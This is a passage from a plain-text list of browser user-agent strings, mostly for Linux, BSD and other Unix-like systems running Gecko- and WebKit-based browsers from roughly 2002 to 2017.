x86_64; rv:15.0) Gecko/20120826 Firefox/15.0 SeaMonkey/2.12 Lightning/1.7\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120827 Thunderbird/15.0 Lightning/1.7\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120912 Thunderbird/15.0.1 Lightning/1.7\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121201 icecat/17.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Lightning/1.9.1\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130623 Thunderbird/17.0.7 Lightning/1.9.1\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130804 Thunderbird/17.0.8 Lightning/1.9.1\nMozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 Iceweasel/19.0.2\nMozilla/5.0 (X11; Linux x86_64; rv:2.0) Gecko/20110402 Firefox/4.0 Fennec/4.0b3\nMozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110506 Firefox/4.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110609 Firefox/4.0.1 SeaMonkey/2.1\nMozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4\nMozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre\nMozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre\nMozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre\nMozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0 Lightning/2.6b3\nMozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 Lightning/2.6.4\nMozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0\nMozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0\nMozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1\nMozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5\nMozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0\nMozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0\nMozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0\nMozilla/5.0 (X11; Linux x86_64; rv:6.0.1) Gecko/20110831 conkeror/0.9.3\nMozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Iceweasel/7.0.1 Debian\nMozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110602 Firefox/7.0a1 SeaMonkey/2.2a1pre Lightning/1.1a1pre\nMozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1\nMozilla/5.0 (X11; Linux x86_64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Iceweasel/9.0.1\nMozilla/5.0 (X11; Linux) Gecko Firefox/5.0\nMozilla/5.0 (X11; Linux) KHTML/4.9.1 (like Gecko) Konqueror/4.9\nMozilla/5.0 (X11; Linux; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Midori/0.4\nMozilla/5.0 (X11; Mageia; Linux x86_64; rv:10.0.9) Gecko/20100101 Firefox/10.0.9\nMozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0\nMozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0\nMozilla/5.0 (X11; NetBSD x86; en-us) AppleWebKit/666.6+ (KHTML, like Gecko) Chromium/20.0.0000.00 Chrome/20.0.0000.00 Safari/666.6+\nMozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36\nMozilla/5.0 (X11; OpenBSD amd64; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.21\nMozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0\nMozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0\nMozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36\nMozilla/5.0 (X11; U; AIX 0043031B4C00; en-US; rv:1.2.1) Gecko/20021209\nMozilla/5.0 (X11; U; AIX 0048013C4C00; en-US; rv:1.0.1) Gecko/20021009 Netscape/7.0\nMozilla/5.0 (X11; U; AIX 005A471A4C00; en-US; rv:1.0rc2) Gecko/20020514\nMozilla/5.0 (X11; U; AIX 5.3; en-US; rv:1.7.12) Gecko/20051025\nMozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339\nMozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10\nMozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10\nMozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10\nMozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10\nMozilla/5.0 (X11; U; Darwin i386; en-US; rv:1.9.0.8) Gecko/2009040414 Firefox/3.0.8\nMozilla/5.0 (X11; U; Darwin i386; en-US; rv:1.9.0.8) Gecko/2009040414 GranParadiso/3.0.8\nMozilla/5.0 (X11; U; Darwin i386; en-US; rv:1.9.1.4) Gecko/20100311 Shiretoko/3.5.5\nMozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1\nMozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (X11; U; DragonFly i386; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Fedora 12 i686; nb-NO; rv:1.9.1.8) Gecko/20100205 SeaMonkey/2.0.3\nMozilla/5.0 (X11; U; Fedora i686; en-US; rv:1.9.1.19) Gecko/20110429 Fedora/2.0.14-1.fc14 SeaMonkey/2.0.14\nMozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.0.8) Gecko/20061116 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.1.21) Gecko/20090424 SeaMonkey/1.1.16\nMozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/3.0.3\nMozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.0.6) Gecko/2009021403 Firefox/3.0.6\nMozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.0.7) Gecko/2009030919 Firefox/3.0.7\nMozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.2.13) Gecko/20110105 Firefox/3.6.13\nMozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2  (KHTML, like Gecko) Safari/531.2  Epiphany/2.30.0\nMozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.0\nMozilla/5.0 (X11; U; FreeBSD amd64; en; rv:1.9.0.8) Gecko/20090331 Firefox/3.0.8\nMozilla/5.0 (X11; U; FreeBSD amd64; en; rv:1.9.0.8) Gecko/2009033101 Firefox/3.0.8\nMozilla/5.0 (X11; U; FreeBSD amd64; fi; rv:1.9.0.5) Gecko/2008122918 Firefox/3.0.5\nMozilla/5.0 (X11; U; FreeBSD i386; cs; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8\nMozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1) Gecko/20021223\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.2.1) Gecko/20030202\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051006 Firefox/1.0.7\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Firefox/1.0.8\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Galeon/1.3.21\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051112 Firefox/1.0.7\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.13) Gecko/20061230\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20041114 Firefox/1.0\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20050420 Firefox/1.0.3\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20060303 Firefox/1.0.3\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050521 Firefox/1.0.4\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7b) Gecko/20040429\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051205 Firefox/1.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051209 Firefox/1.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051217 Firefox/1.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051219 Firefox/1.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060109 Firefox/1.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060122 Firefox/1.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.1) Gecko/20060317 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.1) Gecko/20060511 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.2) Gecko/20060414 Firefox/1.5.0.2\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.6) Gecko/20060927 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.7) Gecko/20061013 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.8) Gecko/20061210 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1) Gecko/20061110 Firefox/2.0\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1) Gecko/20061130 Firefox/2.0\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1) Gecko/20070322 Epiphany/2.18\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.10) Gecko/20071206 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.11) Gecko/20071228 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.11) Gecko/20080208 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.12) Gecko/20080229 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.14) Gecko/20080621 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.16) Gecko/20080816 Firefox/2.0.0.16 Kazehakase/0.5.4\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.2) Gecko/20070303 SeaMonkey/1.1.1\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090225 Firefox/2.0.0.20\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090413 Firefox/2.0.0.20\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.3) Gecko/20070405 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070612 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.6) Gecko/20070902 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.1) Gecko/2008081722 Firefox/3.0.1\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.6) Gecko/2009022401 Firefox/3.0.6\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.8) Gecko/2009040918 Firefox/3.0.8\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.8) Gecko/2009041318 Firefox/3.0.8\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.16) Gecko/20110227 SeaMonkey/2.0.11\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2\nMozilla/5.0 (X11; U; FreeBSD i386; en; rv:1.8.1.12) Gecko/20080213 Epiphany/2.20 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; FreeBSD i386; fr-FR; rv:1.8.1.12) Gecko/20080303 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.7.2) Gecko/20050330\nMozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8\nMozilla/5.0 (X11; U; FreeBSD i386; pl; rv:1.8.1.12) Gecko/20080213 Epiphany/2.20 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3\nMozilla/5.0 (X11; U; FreeBSD i386; rv:1.8.1.12) Gecko/0 Kazehakase/0.4.9\nMozilla/5.0 (X11; U; FreeBSD i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; FreeBSD sparc64; en_US rv:2.0) Gecko/2007121120 Firefox/3.0\nMozilla/5.0 (X11; U; FreeBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20071008 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16\nMozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko\nMozilla/5.0 (X11; U; FreeBSD; i386; it-IT; rv:1.7) Gecko\nMozilla/5.0 (X11; U; Gentoo Linux x86_64; nb-NO; rv:2.0b4) Gecko/20080728 Firefox/3.0.1\nMozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL) Gecko Firefox\nMozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.0.0) Gecko/20020605\nMozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.2) Gecko/20021203\nMozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.3) Gecko/20030321\nMozilla/5.0 (X11; U; HP-UX 9000/785; es-ES; rv:1.0.1) Gecko/20020827 Netscape/7.0\nMozilla/5.0 (X11; U; IRIX 6.3 IP32) Gecko/20061010 Firefox/1.5\nMozilla/5.0 (X11; U; IRIX64 7.0 IP53; en-US; rv:1.9.2.13) Gecko/20110103 Firefox/3.6.13\nMozilla/5.0 (X11; U; IRIX64 IP30; en-US; rv:1.8) Gecko/20051206 Firefox/1.5\nMozilla/5.0 (X11; U; IRIX64 IP35; en-US; rv:1.4.3) Gecko/20040909\nMozilla/5.0 (X11; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01\nMozilla/5.0 (X11; U; Linux 2.6.34.1-SquidSheep; en-US; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3)\nMozilla/5.0 (X11; U; Linux AMD64; en-US; rv:1.9.2.3) Gecko/20100403 Ubuntu/10.10 (maverick) Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux Gentoo i686; pl; rv:1.8.0.8) Gecko/20061219 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux Gentoo; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux MIPS32 1074Kf CPS QuadCore; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux amd64) Iron/20.0.1150.1 Chrome/20.0.1150.1 Safari/536.11\nMozilla/5.0 (X11; U; Linux amd64) Iron/21.0.1200.0 Chrome/21.0.1200.0 Safari/537.1\nMozilla/5.0 (X11; U; Linux amd64; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0\nMozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian)\nMozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025\nMozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.8) Gecko/20071018 Minimo/0.024\nMozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081116 Fennec/1.0a2pre\nMozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1a1pre) Gecko/2008071707 Fennec/0.5\nMozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1a2pre) Gecko/20080820121708 Fennec/0.7\nMozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b1pre) Gecko/20080923171103 Fennec/0.8\nMozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b1pre) Gecko/20081005220218 Gecko/2008052201 Fennec/0.9pre\nMozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b2pre) Gecko/20081116 Fennec/1.0a2pre\nMozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2\nMozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020\nMozilla/5.0 (X11; U; Linux armv6l; rv: 1.8.1.5pre) Gecko/20070619 Minimo/0.020\nMozilla/5.0 (X11; U; Linux armv6l; sv-se) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori\nMozilla/5.0 (X11; U; Linux armv7l like Android; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/533.2+ Kindle/3.0+\nMozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.6.11\nMozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16\nMozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.0.1) Gecko/2009010915 Minefield/3.0.1\nMozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2.13) Gecko/20101218 Firefox/3.6.13 MB860/Version.4.0.2210.MB860.ATT.en.US\nMozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2.13) Gecko/20110209 Firefox/3.6.13 /\nMozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2.14) Gecko/20110224 Firefox/3.6.14 MB860/Version.0.43.3.MB860.AmericaMovil.en.MX\nMozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2a1pre) Gecko/20090322 Fennec/1.0b2pre\nMozilla/5.0 (X11; U; Linux armv7l; no-NO; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.5 Maemo Browser 1.7.4.8 RX-51 N900\nMozilla/5.0 (X11; U; Linux armv7l; pl-PL; rv:1.9.2.5) Gecko/20100614 Firefox/3.6.5pre Fennec/1.1\nMozilla/5.0 (X11; U; Linux armv7l; pt-PT; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.5 Maemo Browser 1.7.4.8 RX-51 N900\nMozilla/5.0 (X11; U; Linux armv7l; ru-RU; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.5 Maemo Browser 1.7.4.8 RX-51 N900\nMozilla/5.0 (X11; U; Linux i386; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (X11; U; Linux i386; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux i586; de-AT; rv:1.4) Gecko/20030908 Debian/1.4-4\nMozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (X11; U; Linux i586; en-NZ; rv:1.8.1.6) Gecko/20071221 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2\nMozilla/5.0 (X11; U; Linux i586; en-US) Gecko/20030908 Epiphany/0.9.2\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.9) Gecko/20020513\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0rc3) Gecko/20020523\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.2) Gecko/20050223\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.2.1) Gecko/20021204\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.2b) Gecko/20021016\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.3) Gecko/20030312\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.6) Gecko/20040413 Epiphany/1.2.6\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.8.0.11) Gecko/20070217 Iceape/1.0.8 (Debian-1.0.8-4)\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.8.1.2) Gecko/20070227 SeaMonkey/1.1.1\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3\nMozilla/5.0 (X11; U; Linux i586; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori\nMozilla/5.0 (X11; U; Linux i586; es-ES; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15)\nMozilla/5.0 (X11; U; Linux i586; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (X11; U; Linux i586; nl-NL; rv:1.8.1.6) Gecko/20071001 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de-DE; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.3 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.1.3) Gecko/20091010 Iceweasel/3.5.3 (Debian-3.5.3-2)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.10) Gecko/20050715 